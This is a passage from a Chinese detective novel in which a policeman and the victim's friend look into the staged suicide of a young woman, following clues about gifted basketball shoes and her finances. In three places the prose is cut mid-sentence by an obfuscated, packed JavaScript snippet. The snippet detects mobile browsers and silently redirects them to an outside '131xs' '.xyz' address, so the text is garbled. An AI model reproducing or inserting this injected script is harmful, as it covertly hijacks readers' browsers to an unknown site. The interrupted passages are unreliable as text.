“太好了。”叶微瑄如释重负般地长舒一口气,“锵然怎么会害零零呢,想多了。”她裹紧身上的毛毯,活生生的像一粒圆锥形跳棋。 “没办法,必须往多了想。”边何摊开双手,“其实我们警察找嫌疑人就是做排除法。我们费尽心思的调查,试图找到真相,无非是想将凶手绳之以法,同时证明无辜人的清白。” 叶微瑄思考着对方的话,眨眨眼,表示认同。“那你接下来要调查谁?我吗?” 边何又摇摇头。叶微瑄的不在场证明比顾锵然还完美。 “那就是陶涂涂和马暗尘?” 边何没有回答叶微瑄的问题。小丫头很聪明,边何从未与她说过是熟人作案,但她显然已经猜出来了。 没有入侵痕迹,没有挣扎迹象,民警在前期调查时问过楚零的邻居,当晚他们没有听到任何争吵声。能做到不动声色杀死楚零并伪装成自杀的方式不多,毫无疑问,只有在死者毫无防备的情况下,快速出手才能达成这一目的。 边何没有告诉叶微瑄更多的线索,不是因为纪律,而是不想对方接受问询时带有主观倾向性。师父曾告诫他,平日里看似正常的事,一旦因偶然因素或先入为主的观念被下定论,那么那些微不足道的细节也会被人们忽然想起,成为诟病他人的证据。 普通朋友递给人们一颗糖,人们可能以为是善意。但如果这位普通朋友被定义为精明的人,那么人们就会认为对方有所企图。人之常情,各有各的想法。这些杂乱的想法就像是数学里的变量,边何要在办案时尽量减少变量,才能尽快找到凶手。 对于边何来说,死亡原因、死亡性质、死亡时间、致伤工具、作案手法、嫌疑人个体特征、死者人际关系……这些要素就像拼图。案件一旦确认为他杀,他要做的就是找到这几块拼图,并将它们拼凑成形,进行案件重建,逐步缩小嫌疑人的范围。 “我之前和你说过,我想了解楚零生前的状态,包括她的人际关系。你、顾锵然、马暗尘、陶涂涂都是她亲近的人,我们现在就从顾锵然开始。”边何喝了一口冰红茶说道。凉茶顺喉咙而下,扫去连日来的疲惫。他掏出随身的平板电脑,点开一张照片放到茶几上。 锵然不是有不在场证明么,为什么还要了解?叶微瑄虽感迷惑,但还是决定配合对方。她探着身子看向电脑,照片上是两双篮球鞋。 “这两双鞋到底怎么了?你这么在意。”叶微瑄不解地问。 “款型普通,但这个牌子本身就很贵,是不少男大学生追逐的潮流。学生时代的楚零负担不了,现在也一样,毕竟她的生活成本很高,还要交房租,不是吗?” 叶微瑄愣了愣,边何说的有道理。旧球鞋是楚零勤工俭学挣来的,她理所当然的认为楚零工作了,买双新球鞋送给男友很正常。可经边何一说,她觉得自己之前的想法草率了。 楚零刚参加工作,工资少的可怜。“老破小”的房子不怎么样,但地处市区,房租却不低。更何况,楚零是整租,没人与她分担费用。 零零之前是怎么生活的啊?——叶微瑄在心中算了一笔账,第一次有了这样的想法。 “是不是分期付款?”她小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506574|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翼翼地问。 边何的嘴角微微上扬,收回平板电脑,调出楚零的银行流水。死者生前有债务,金额不多,不过足以让职场新人产生焦虑。其实他相信楚零是一个有规划的人,信用卡消费记录和余额也说明这点,但前提是一切顺利,没有意外发生。另外,楚零有几笔疑似借款的入账记录,出借人是生活相对宽裕的陶涂涂。 “是分期。以楚零的财务状况,还款不成问题,只是也攒不下什么钱。她过的很拮据。” 叶微瑄轻轻叹口气,口中干涩,像吃了没熟的橘子。她喝了一口红茶,思考了一会儿才开口:“关于篮球鞋,我劝过零零的,不过是在大学的时候。那时她刚和锵然在一起,说锵然很羡慕别的男生有帅气的篮球鞋。我劝她不要送那么贵的礼物,但她说她不想自己的男朋友在别人面前抬不起头。别人有的,锵然也要有。” 边何皱皱眉,握着触控笔的手停顿稍许。 “收到鞋的锵然很高兴。他很珍惜那双篮球鞋,只是从来不刷,零零为此还经常生气。”看似辛酸的回忆也有美好的一面,叶微瑄的眼中散发出淡黄色的光,很是温暖,“但锵然解释过,他是太喜欢那双鞋了,不想脱才不刷的。零零认为不刷是不珍惜,锵然却认为因为珍惜才一直穿。你看这俩人……” 悲伤的话题竟也能让人露出欣慰的笑容,叶微瑄和边何心照不宣地看向彼此,而后双双默契地看向别处。 “零零也跟我说过买新球鞋的事。”叶微瑄握住装满红茶的水杯,“她说锵然工作了,穿那么旧的鞋上班不合适,该换了。正好她在运动卖场工作,能买到新款,还有员工价。” “原来是这样。” “锵然也是一根筋。我们聚会,他多数时间穿的还是旧鞋。别问我是怎么知道的,因为我观察过。也别问我为什么会观察,因为零零私下和我吐槽过。” “哈哈哈”,边何再度笑出声音。他忽然很想认识楚零,只是来不及了。楚零虽已逝去,但在叶微瑄的嘴里,楚零却是一个鲜活的生命,拥有真实且真诚的灵魂。 “其实锵然也经常送零零礼物。” “哦?” “嗯,零零新家的家具有很多是锵然买的,比如:书柜、鞋柜啊,锵然还从家里搬了不少过来。客厅那个复古原木色的茶几就是锵然搬来的,你没发现茶几和沙发颜色根本不搭吗?” “是的。”边何之前就注意到了。茶几和房东的家具风格不搭,和楚零新添置的家具更不搭,倒是和顾锵然家的沙发床挺搭的。 “所以,我虽然和你有过同样的怀疑,但很快就放弃那样的想法了。零零是被谋杀的,伤害她的人一定不是顾锵然。”叶微瑄一字一句的说出这句话,又喝了一大口冰凉的红茶。红茶流经喉咙的感觉很奇妙,寒意十足却让人感到痛快。 边何微微点头,既是肯定叶微瑄对朋友的信任,也是肯定对方所说的内容。顾锵然作案的可能性几乎为零。对方不仅有不在场证明,为了见女友还特地刷了两双鞋,又怎么会突然跑到女友家将其杀害。 可不是顾锵然又会是谁?楚零的同事么?又或者是马暗尘和陶涂涂。 同事先放放,边何觉得才工作没多久的楚零不会将同事叫到家里,当务之急是去拜访另外两人。他一边和叶微瑄聊着对方大学的事,一边调出行程表,见缝插针的将两人的名字填进空档。 “听说是你介绍顾锵然和楚零认识的?”他抬头问叶微瑄,忽然想到什么,又将一个名字临时加到行程表里。 “对啊。”叶微瑄不假思索地答道,“我觉得他俩的性格很像,都属于内敛踏实型的,长相也般配。” “是么。” “什么意思?你有不同意见?你又不了解他们。” “哈哈,我还什么都没说呢。” “可你的语气就是在否定。他们能好这么多年,而且从没闹过分手,不搭吗?事实胜于雄辩。” “你说的有道理。”边何抬起眼皮,对方躲避了他的目光,表情明显不悦。可他还是想表达自己的观点,“不过——” 突兀的声音恰逢时机的打断他要说的话,“咕噜咕噜”,是肚子在叫。上午出门前他吃了一片面包,现在快晚上了,他还没有吃过其他东西。 “你是不是饿了?”叶微瑄直接问道,她正好不想继续刚才的话题。 “是啊。”边何没有否认,会不会有好心人为他煮一碗泡面呢?“一天没吃东西了。” “不如先聊到这?就不耽误你回家吃饭了。” “……” “今天是周日,还加班也挺惨的。” “警察哪有什么周六日。”边何失望地揉揉胃部。 “嗯……边警官,你能回答我一个问题再走吗?” 胃部收缩更厉害了。谁告诉她要走了?只不过待得时间确实有点久,似乎也没有继续待下去的理由。“叫我边何就成,你问。” “已经结案了,你说你是为了真相在调查,所以是在孤军奋战吗?” “不是啊。”边何想都没想地说道,“我不是一个人,我师父就很支持我,还为我提供帮助。” “哦……怪不得呢。那就好,你可千万不要放弃。” “不会放弃的。再者说,你不是也在帮我吗?” “啊,我吗?”叶微瑄有点惊讶。 “对啊。”他起身,伸了一个懒腰,“怎么能说我是一个人呢?” 8. 篮球鞋2 天气晴朗,上午的面试很顺利。这家人工智能公司远离市中心,坐落在燕京远郊的高新科技园区。面试共分为三轮,叶微瑄刚刚完成两轮。部门经理对她非常感兴趣,若不是总经理出差,下周才回来,她今天就能完成三轮面试。告别部门经理时,对方眉飞色舞的表情仿佛在说:“等电话吧,总经理面试就是走过场,你很快就能拿到Offer。” 要转运了,叶微瑄走出人工智能公司的大门,长舒一口气。她抬头看向蔚蓝的天空,忽然找到学生时代熟悉的感觉。乐观、自信,坚定的相信未来是她的,她是上天眷顾的人,会在这片热土成就一番伟大的事业。 她走向附近的公交车站。从公司回家要先搭乘长途公交,再转地铁,单程通勤时间长达两个小时。不过部门经理说了,若是叶微瑄入职,公司会帮她申请园区的单人宿舍。宿舍到公司有班车,通勤不是问题。 虽然离家远,有点与世隔绝的意思,但总算可以搬离老小区。她早就受够邻居说三道四的眼神,就好像她是令房价一跌再跌的千古罪人。小区里曾与她交好的同龄人怕被排挤,如今也躲着她。她是瘟神吗?她曾愤懑不平的心想。现在好了,新工作和新宿舍在等着她,那破房子谁爱住谁住吧,反正她是不住了。 一个半小时后,长途公交抵达位于燕京市中心的终点。叶微瑄找到附近的地铁站,进站查看线路图。若是回父母家,先乘四号线再倒一号线更为方便。 四号线直达燕京南火车站,是最繁忙的线路之一。尽管不是早晚高峰期间,车厢依然人满为患。叶微瑄习惯站到车厢中部,那里人最少,而且运气好的话,会有下车的人腾出座位。不知是不是好心情影响运气,一站之后,她便如愿以偿的获得一个宝贵的座位。 冬天的地铁异常拥挤。几个穿黑色羽绒服的人站到车厢中间,他们身上带着酒气和浓烈的火锅味,说话声音也很大。众人纷纷侧目,面露不悦地皱起眉头。 有点臭。面前的人在大声说话,空气中弥漫着一股大蒜味。叶微瑄屏住呼吸,扭头看向身后,玻璃上贴着线路图,地铁在隧道中快速穿行。小时候的她一直以为地铁是走直线的,长大后才知道地铁和火车很像。隧道内的轨道错综复杂,不同线路的地铁会相遇,是道岔将它们分开,引向各自的终点。 就在叶微瑄漫无边际的开小差时,线路图上的某个地点吸引了她的注意。 “卖场在哪呀?改天我去找你玩。” “就在……四号线直达,欢迎叶大小姐莅临我店参观。” 楚零说这话时刚找到工作,对方欢快的声音盘旋在叶微瑄耳边。说到底,直到楚零出事,她都没去过那家运动卖场。零零工作的地方会是什么样呢?她望着隧道内交错的电线管道,不禁心想。 车门打开又关闭,车顶的喇叭在一本正经的报站。人们上车又下车,面前的黑色羽绒服变成灰色的羊毛大衣。几个游客模样的人站起身,座位很快被其他人填满。那些游客看上去很兴奋,脸上堆满笑容,正热烈地讨论下一站景点。 听他们的意思,几人换乘一号线后再坐两站就能抵达目的地。逛完景点他们不打算回酒店,而是要排一宿队,等着看第二天的升旗仪式。 “别逛太久,要早点去排队。听说八点就有人在入口处守着了,不去早点第二天看不到国旗班。”一群人旅行,总有一个是负责做攻略的。“是是是。”其他几人附和道。 地铁减速了,报站声准时响起。游客们挤出一条路,站到车厢门口。几人开心的大笑声打断叶微瑄的思绪,她也该下车了。不到一分钟,车停了,车厢门缓缓打开。 叶微瑄望着蜂拥而动的人群,仿佛被点了穴,四肢无法动弹。 她马上要工作了,然后搬离老小区。在那之前,有的事是不是该做个了结?楚零是她最好的朋友,小区虽然破旧却承载着关于友情的记忆。现在她的朋友死了,她不想朋友死的不明不白。在过上新生活之前,她是否该用真相为过去画上一个句号。 答案是肯定的,耳边没有任何反对的声音。更何况,那个叫边何的警察依旧在努力的寻找真相。对方和楚零无亲无故,如此执着只是为了维护心中的正义。她不想辜负那难能宝贵的正义感。边何说她能帮上忙,那么她就帮到底吧。 车门缓慢关闭,报站声再度响起。她拿起手机,给丘静发了一条消息。 【妈,我临时有事,晚点回家。】 …… “这孩子又到处瞎跑。” “啊?” “哦,我家小瑄。”丘静冲对面的人和善地笑笑,“她今天有个面试,说好结束就回家的。这不刚刚来消息说临时有事,要晚点。天天在外面东跑西颠的,也不知道在忙什么。” “没关系,我也怕被她撞见。” “你是警察,怕我闺女干什么?” “呃……”他不自然地挠了挠眉毛。 边何今日来街道找丘静是想了解楚零的事。楚零在叶家住过一段时间,听叶微瑄说,丘静和叶建文很欣赏楚零。相较于深陷友情关系中的叶微瑄,旁观者的角度相对清晰,或许能让他收获新的线索。 他知道叶微瑄今天要去面试,但不知道对方面试后会回家。不知为何,他觉得不提前打招呼、背着叶微瑄去见丘静会惹对方生气。显而易见的是,他不想惹叶微瑄生气,即使他是一名警察,只是在做分内之事。 不过,他的到场吓了丘静一跳。 丘静工作的街道办事处临街,两侧全是底商,以烟酒商店为主。办事处设有几间办公室,大部分很空。年轻的工作人员外出办公了,留守的多半是四十岁以上、资历深的中年人,就比如:丘静。 丘静一开始以为边何是女儿的男朋友。边何出示证件后,那位母亲脸上的表情有了明显的变化,细长的眉毛挤在一起,眼底蒙上一层担忧的神色。他赶忙向对方解释原委,对方的脸色才得以舒缓,并将他带到一间像库房的会议室。 “阿姨,咱们长话短说,我一会儿还要回队里。”边何没有回答丘静刚刚的问题,“按您说的,楚零住在您家的时候,不是出门找工作,就是窝在卧室,对吗?” “嗯,就是这样,那孩子怕给我们添麻烦。我听小瑄说,她起初不想来家里住,本想找个地下室凑合几个月。是小瑄不放心,硬给她拉回家的。第一天进门的时候,她不停地和我们说谢谢,挺不好意思的。” “平时你们会一起吃饭吗?” “我和老叶白天上班,零零偶尔和我们吃晚饭。但她只要在家,白天就会和小瑄一起吃。她会做饭,为我们也做过,手艺不错。冲这点就比我家好吃懒做的闺女强,小瑄恐怕连饭都不会做。” 有可能。边何笑着看向平板电脑,想起第一次见叶微瑄时,空气中隐约的糊锅味。“除了出门找工作,楚零外出频繁吗?”他问。 “嗯……”丘静皱起眉毛,做出一副思考的模样,“挺频繁的,不仅要找工作,还会出去兼职。” “兼职?”边何没听叶微瑄提过,“大概是什么样的兼职?” “好像是在附近超市帮忙挑拣产品,现在不都网购嘛。说实在的,我很心疼这孩子。挣着微薄的薪水,还会给我们买菜。她说她没法付我们房租,只能做些力所能及的报答我们。” “啊……这样啊……”他理解地点点头。 “哦对,我记得零零有几个晚上没回家。”丘静抬起眼皮,眼底泛着中年人特有的八卦目光,“她有男朋友,你知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506575|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道吧?” “知道。” “哎,零零就是太懂事了。”丘静长叹一声,似是在感慨。 “您女儿也这么说。” “这事好也不好,太懂事累的是自己。” 对方话里有话,边何停下手中的笔。 “说句不该说的。”丘静忽然有点严肃,“她的男朋友干嘛去了?” “您的意思是?” “小瑄和我说那男孩叫顾锵然,也是燕京人。小瑄总说他和零零有多般配。我很纳闷,零零来燕京能依靠的为什么不是男朋友,而是小瑄?” “我了解过。顾锵然家境一般,刚毕业工资也不多,他有很多顾虑。” “我家小瑄还待业呢。” 好像无法反驳,边何顿时哑口无言。 “要我说,那个叫顾锵然的男孩缺少一点魄力。”丘静握着双手,来回搓动,“虽然我不了解他,但阿姨是过来人,在街道工作二十多年见过不少人,说和做还是分得清的。他可能对零零很好,但比起零零的牺牲就显得微不足道了,也似乎少点勇气。” “您是这么认为的?” “对啊,不止我这么认为。我家老叶……包括小瑄,她也这么认为。她有时会替楚零打抱不平,觉得顾锵然窝囊。” “她不是说人家踏实内敛吗?” “嗨,这不就是换一种说法嘛。” “咯咯咯”,边何笑出声音,脑海中浮现出叶微瑄清秀的脸。每当说起楚零时,那张脸就会变得很真诚,眼神也十分清澈。干净的友情——他总能在对方眼底读出这五个字。 “就您所知,”边何轻轻晃了晃脑袋,强迫自己将思绪放回到工作上,“楚零的人际关系复杂吗?平时接触的人多吗?” “不多不多。”丘静赶忙摆摆手,就好像边何的问题很没必要,“零零很简单,和这孩子接触就知道。据我所知,她周围就那么几个人,我闺女、男朋友……还有几个大学同学。有个男孩叫什么……马什么……” “马暗尘。” “对对,就是他。” “怎么了?” “小瑄上学时隔三差五的和我提过几嘴,这孩子不错,我挺喜欢的。马暗尘是外省人,人家一穷二白的来燕京都能找到安身之所。顾锵然的工作是这几个孩子里最稳定的,就算他不好将女朋友带回家,难道还不能和女朋友一起出来住吗?” 叶微瑄的妈妈是个挺开明的人——这个想法在边何的脑海中一闪而过。对方说的有道理,只不过顾锵然成长在单亲家庭,从小与母亲相依为伴,不愿丢下母亲出来住也正常。更何况,马暗尘也不是一穷二白,据他调查,他的家境相对不错。初来乍到,父母肯定会给予儿子一定的资助。叶母对此不知情,有看法也正常,他没有反驳她。 “所以我说,我很心疼零零。男孩也好,女孩也罢,找对象啊真得找对人,不然会很累,操心一辈子。我不得不说说我家小瑄……天天在外面漂着……听说是谈过朋友,也不知道真的假的……我们给她介绍对象,她也不去见。” 不愧是优秀的街道工作人员,话匣子打开后根本没有给边何问话的机会。“咳。”他咳嗽了一声,顺着丘静的话音接了一句,“您女儿挺聪明的,至少不会被骗。” “是,我女儿我还不了解,心比天高,找对象和找工作都一样。” 边何听闻,嘴角难掩笑意,叶微瑄清秀的脸庞再度浮现在他的脑海中。稍后丘静又和他聊了很多,但他似乎有点走神,只听见对方的最后一句话。 “我只希望小瑄能够脚踏实地的做事。我相信我闺女,其实她想做什么都能做好。”当时这位母亲露出一个淡然的微笑,微弯的嘴角后面是对女儿由衷的信心。 9. 篮球鞋3 “阿嚏!” 叶微瑄站在明亮的购物中心中厅,低头在包里翻找着什么。明明带了,怎么不见了。她胡撸着零碎的杂物,钥匙、口红、粉底盒,叮了咣啷的作响。啊对了,她摸向裤兜,掏出日料店送的小包纸巾。 她刚刚在日料店解决了午餐。想到马上就要工作了,她决定奢侈一把。虽然没舍得点刺身,但也点了不少,盐烤三文鱼头、炒杂菜、地狱拉面和大福,算是一顿颇为丰盛的午餐。她擦了擦鼻子,将纸巾扔进垃圾桶。 工作日下午的购物中心,客人不多。楚零工作的运动卖场在这家购物中心的地下一层,面积很大,几乎占据一整层。叶微瑄找到下行扶梯,目光落在一侧的红色墙体上,那里贴着卖场的巨型商标,以及口号——“唤醒你的热情。” 扶梯正对卖场入口,她穿过一排白色防盗器进到里面。地下一层比楼上冷,顾客却相对较多。卖场内部按运动品类分区,入口处的墙上挂着运动配件,都是些墨镜、帽子之类的。长这么大,叶微瑄是第一次逛运动卖场。她不擅长运动,尤其痛恨跑步。路过跑步区时,她目不斜视,连眼皮都没有抬一下。 前边就是徒步用品区,她加快脚步。附近的地上放着几顶帐篷,斜前方的指示牌标着“户外运动”。又走了几米,她停住脚步。两旁的网格状货架摆满徒步鞋。这种鞋子看着硬邦邦的,但上脚却十分舒适,防滑、抓地能力强。这是楚零告诉叶微瑄的,对方还说,防滑效果与价格成正比。 原来这就是零零工作的地方。叶微瑄四下张望,就像在寻找好友的身影。她对这家卖场没有任何好感。楚零去世,无任何同事前来吊唁,公司领导也没有探望过对方的父母,怎么看都像是一个薄情寡义的地方。 叶微瑄在地铁上想:顾锵然有不在场证明,而马暗尘和陶涂涂没有伤害楚零的理由。那两人平时很忙,与楚零联系不如她和顾锵然那般频繁,断然不会与楚零产生矛盾。另外,她相信她的朋友们。既然如此,能伤害楚零的熟人还有谁? 同事——只有他们了,于是叶微瑄来到卖场。伤害楚零的人可能就在卖场工作,没准此刻就在她的附近。想到这里,她的心跳微微加速,不免有些紧张。 “你好,需要帮忙吗?” “啊?”她转头。面前站着一位中等身材、脸很小的女人,看不出年纪,但应该不年轻,对方细长的眼睛和自然下垂的嘴角一看就不好惹。“没事,不用,我随便逛逛。”她小声说道。 “我看你站很久了,有需要就告诉我。” 叶微瑄怔了怔,心中产生一个临时想法。“呃——那个——之前的工作人员怎么不见了?” “哪个?” “就是……就是个子不高,瘦瘦小小的。”她一边比划手势,一边形容楚零的长相,“大眼睛,挺漂亮的,笑起来像……”眼见对方的表情变了,她问了一句“怎么了”。 “没有,我不清楚你说的是谁。有什么事吗?”工作人员维持着本就不太热情的服务态度,“我也可以帮忙。” “没关系,那就算……” “我知道了。”工作人员忽然打断她的话,“是不是有人承诺给你折扣了?九折?” “什么?”工作人员闪烁的目光令叶微瑄十分不舒服。 “如果有员工承诺给你折扣,千万别信。用员工价倒卖产品的做法是违规的,你买到的产品也没有质保。” “啊,这样啊。”叶微瑄心下了然,“你误会了。我……”她的大脑飞速运转,“我是来找兼职的。” “找兼职?”可能是与心中的猜想不符,对方皱起眉毛,表情似乎有点遗憾。 “嗯,那位工作人员说卖场招兼职。是这样吗?” 对方缓慢地点点头。“是的,若是想做兼职,你得去办公区找副店长。” “办公区在哪?” “入口旁边,进门就能看见。” “好的,谢谢。”叶微瑄露出一个诚恳的笑容。对方将她从头到脚的打量一番,不再用待客的表情看她,而是冷漠地“嗯”了一声。 一不做二不休,她前往卖场入口。正式工作前,她没什么事,不如在卖场兼职,说不定能找到与案子有关的发现。她为自己的大胆感到不可思议,回过神的时候已站到店长办公室门前。她做了一次深呼吸,敲了敲门。 开门的不是副店长,而是一个脸很圆的男人。即使叶微瑄来的匆忙,没有预约,但对方得知她的来意后,还是让她填了一张面试登记表。见她填好表,男人扭头朝里面的房间努努嘴,示意副店长就在里面。 “巧啊,我们正缺人手呢。”副店长盯着面试表热情地说道。这是一个三十岁左右的男性,肌肉发达。他穿了一件黄色的毛衣,每一针的缝隙被撑得很开,可能随时会撕裂。“你是市场营销专业的?哪个大学?” 叶微瑄随便说了一个耳熟能详的大学名字,心跳得厉害。 “名牌大学啊,看你的年纪应该是毕业生。不好好找工作,怎么跑来兼职了?” “在找呢,但我缺钱。”她很少说谎,满脸发烫,“而且我喜欢运动,尤其是跑步。” 她在面试登记表的爱好一栏中也是这么填的,因为她想不出别的可以称为了解的运动。只有跑步她能说两句,毕竟从小到大的体育考试都少不了这一项,这也是她对跑步深恶痛绝的原因之一。 “喜欢跑步好啊,我们公司会不定期的组织半程马拉松,感兴趣的话可以参加。” “是么,太好了。” “这样吧,明天要是没事就来试岗。”副店长放下面试表,和颜悦色地说道,“试岗通过就签合同。至于薪资……”他简单介绍一番,“差不多就是这样。兼职工资不高,但咱们福利好。兼职、全职都可以用八折的价格购买店内产品,次数不限。而且,你在这里一定能学到东西,卖场的工作氛围也很欢乐。” 真的么……叶微瑄在心里犯嘀咕。“冒昧的问一下,全职店员的薪水大概是多少?” “四千起。”副店长直爽地答道。 叶微瑄不想久留,道了一声“谢谢”离开办公区。直到坐上回家的地铁,她才意识到刚刚的所作所为有多么的荒唐。 真是疯了,这是卧底才会做的事吧,她心想。抵达父母家时,她的心脏依然在怦怦乱跳。 “我回来了。”丘静和叶建文在做饭,她朝厨房喊了一声。厨房热气蒸腾,她吸了吸鼻子,好香。 她没去打扰父母,而是走向置于客厅窗台的鱼缸,里面有几条红色的孔雀鱼。鱼是叶微瑄买的。每次回家,她都会问候这几条鱼,看它们是否还活着。一条、两条、三条……一条不少。鱼缸水质清澈,孔雀鱼甩着大尾巴穿梭在水草间,显然被照顾的很好。 再回头时,饭桌上已摆好热腾腾的饭菜,都是她喜欢吃的。午饭吃的晚,她不怎么饿,但还是配合地坐到饭桌前。是不是太久没回家了,看着忙前忙后的父母,她竟有些心疼他们。 “小瑄,尝尝这个红烧黄花鱼。你爸买的,一直为你留着。”丘静笑得很开心,“我知道你口味淡,没敢放盐。” “哎呀,妈——”她拉了一个长音,夹了一筷子鱼肉到碗里,“以后不用特地为我留,你们吃就行。” “我们吃不过来。” “行啦,你妈是好心。”说话的是叶建文,“她怕你在外面吃不着好东西,就等你回家给你改善改善伙食。” “不是,爸,我在外面饿不着,吃的好着呢。”叶微瑄想起中午的日料,“不缺嘴。” “不一样,饭店外卖不干净。你知道我这菜洗多少遍吗?五遍!饭店才不会这么洗。”丘静抬手将叶微瑄面前的芹菜与鸡丁换了一个位置,“尝尝鸡丁。” “可我想吃芹菜。” “哦行行。”她又给换回来了。 “您吃饭吧,别管我了。”叶微瑄催促道。直到对方拿起筷子,她才继续吃饭。每次回家,这样的场景都要重复上演。什么年代了,为什么爸妈总觉得她会在外面挨饿?她为此感到不解,偶尔也会感到不耐烦。 “妈,您问我三遍了,这鱼不咸。”叶微瑄放下筷子,无奈地看向母亲。对方嘴里念叨着“不咸就成”,同时递给叶建文一个眼神,不巧被她发现了。她迟疑着开口:“你们是想问零零的事吗?” 夫妇俩沉默了,叶建文低头挖了一勺鸡丁,大口嚼着米饭,试图回避问题。丘静叹口气,表情遗憾地说:“小瑄,零零去世后,我们还没有和你好好聊聊。那孩子究竟是怎么回事?” “没有怎么回事,就是我之前说的那样。”她其实不想聊这个话题。她不想让父母知道周遭不好的人或事,或者说是自己喜欢的人或事不好的一面。楚零在父母眼中是十分优秀的女孩子,她不想和父母谈论对方的死亡。这感觉很奇怪,就像某种美好的东西破碎了,她不想让亲人看到东西破碎的样子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506576|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “真是没想到……”叶建文摇摇头,“我和你妈一直不敢和你提这事,怕你难过。零零那孩子在咱们家住过,也是有感情的。看着挺乐观开朗的一个人,怎么会突然想不开?” “啊呀,怕我难过就不说了嘛,聊点别的吧。”叶微瑄闷闷不乐地掏出手机。 “我们这不……” “别说了。”丘静朝叶建文摆摆手,使了个眼色,“你爸买了不少菜,回家拿走点,我们吃不了。” “不要,我也不做饭。” “尽量自己做饭吃,保险。”丘静很坚持,“我今天还和小边说,零零这点比你强。” “谁?”叶微瑄以为自己听错了,她抬起头。 “小边,办零零案子的小警察。” “啊?边何?”她吃了一惊。 “对。听你的口气,你们很熟吗?” 边何为什么会找老妈?难道是怀疑自己?叶微瑄的眉毛拧成一股绳,没有回答丘静的问题,而是问:“他怎么来了?他找你们做什么?” “他去街道找的我,吓我一跳。”丘静看向叶建文,对方点头,显然是知情了。“他说他是负责零零案子的刑警。零零在咱家住过,他想了解零零的日常状态。零零的案子不是结束了吗?他为什么还要调查?” “不清楚,不过他问过我啊,为什么还找你们?” “说是想从多方面了解。” “他有问关于我的事吗?” “没有。问你干嘛啊,你又没做坏事。” 叶微瑄“哦”了一声,这个答案令她感到满意。边何不是来调查她的,不然她会觉得信任被辜负。 算了,边何毕竟是警察,去哪调查、想调查谁都可以,没有义务和她打招呼。至少如对方所说,他没有放弃,真的在努力寻找案子的真相。 难得回家,叶微瑄陪父母多待了会儿,九点半左右才从家里出来。 父母家离她居住的老小区不远,坐公交仅须十五分钟。但她今天太累了,选择打车回家。虽然很晚了,车窗外仍能看到行色匆匆的路人,以及焦急等待下一趟公交的上班族。 楚零前不久也是这些人的一员,下班时是否对家充满期待呢?应该是吧,不过她的生活压力好像很大。想到这里,叶微瑄的心中蒙上一层阴影。她大概知道楚零的薪资水平,今日从副店长那里得到了确认。对方才入职不久,全部薪水似乎只能负担房租。 零零之前是怎么生活的啊——同样的问题再度萦绕在叶微瑄的脑海中。 要不要和边何主动说说卖场的事?她想起卖场工作人员讳莫如深的语气,心中生出不好的想法,虽然这想法好像和谋杀无关。员工折扣价是正品价格的八折,那人的意思是,有的工作人员会利用员工折扣价倒卖产品。对方是在说楚零吗?她不想怀疑楚零,但毫无疑问,这是一个有效的赚钱途径。 如果楚零真的这么做了,然后不巧被发现,那她会不会丢掉工作?没有工作就交不起房租,生活压力可能迫使她想不开,从而萌出轻生的想法,才有了割腕自杀的举动。 叶微瑄被自己的推断吓了一跳,一切似乎合情合理。但她很快就否定了自己,不,她怎么能这么想自己的朋友?她去洗手间,用凉水胡乱地洗了一把脸,试图让自己清醒。楚零在她家借宿时,连看电视都会打一声招呼,这样的人怎么会做出倒卖产品的事?更何况,楚零在她心中不是轻言放弃的人。区区工作,大不了再找一份。 就先不要告诉边何了,这事貌似和凶杀没关系。她坐到沙发上,握着手机犹豫不决。按理说,边何应该调查过运动卖场,毕竟那是楚零工作的地方。边何会不会早就知道员工价的事?要不要问问?问是可以,但万一对方不知道呢?她可不想让边何像调查劣迹员工那般去调查自己的朋友。 凉水没能洗清叶微瑄的思维,反而更混沌了。她望着手机发呆,屏幕显示的是她与边何的对话,上面有张照片——两双干净的篮球鞋。 零零……顾锵然……篮球鞋……还有……昔日的画面出现在叶微瑄眼前,有的事是不是没有第一次比较好?当难以负担的相处模式成为习惯,压力也就随之而来了,就像一株株稻草,终有一日会压的人不堪重负。 她感受到寒意,披着毛毯窝在沙发一角,轻轻闭上眼睛。可能是太累了,睡意适时袭击了她的大脑。思维渐渐涣散,意识在游离,她想:如果零零没买第一双篮球鞋就好了。 10. 篮球鞋4 今年的气候很奇怪,遥远的天边黄沙漫漫,城市被尘土般的颜色笼罩。人们仿佛行走在砂砾中,一个个孤单的背影模糊而缥缈,就像老照片的回忆那般神秘莫测。 现在是上午九点半,他踹了一脚被子,被子配合的飞到床尾的木台阶上。八点有一节高数,他睡过了,也不知道兄弟们有没有帮他签到。那个数学老师长得就像苦瓜,细长的脸上全是包,不仅不苟言笑,从他嘴里蹦出来的专业知识也叫人苦不堪言,真是相由心生啊。与其去上课,不如在宿舍养精蓄锐,下午有场和市场营销专业的篮球比赛。 